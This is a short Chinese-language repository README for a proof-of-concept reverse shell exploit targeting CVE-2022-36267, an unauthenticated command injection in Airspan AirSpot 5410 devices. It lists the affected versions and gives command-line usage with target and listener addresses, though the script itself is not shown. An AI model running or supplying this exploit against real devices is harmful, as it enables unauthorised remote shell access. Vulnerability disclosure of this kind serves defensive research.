CVE-2022-36267 - Airspan AirSpot 5410 未授权远程命令注入漏洞

概述

本仓库包含一个利用 CVE-2022-36267（Airspan AirSpot 5410 设备中的一个严重漏洞）的概念验证（PoC）反弹 Shell 脚本。该脚本是一个实践演示，补充了博客文章《Airspan AirSpot 5410 - 漏洞报告》中提供的深入分析。

受影响版本

所有版本为 0.3.4.1-4 及以下的 Airspan AirSpot 5410 设备。

PoC 脚本用法

# Usage: python AirSpot-5410.py --RHOST <Target-IP> --RPORT <Target-Port> --LHOST <Local-IP> --LPORT <Local-Port>
# Example: python AirSpot-5410.py --RHOST 192.168.1.1 --RPORT 443 --LHOST 192.168.1.100 --LPORT 4444

视频概念验证

注意

仅限教育目的。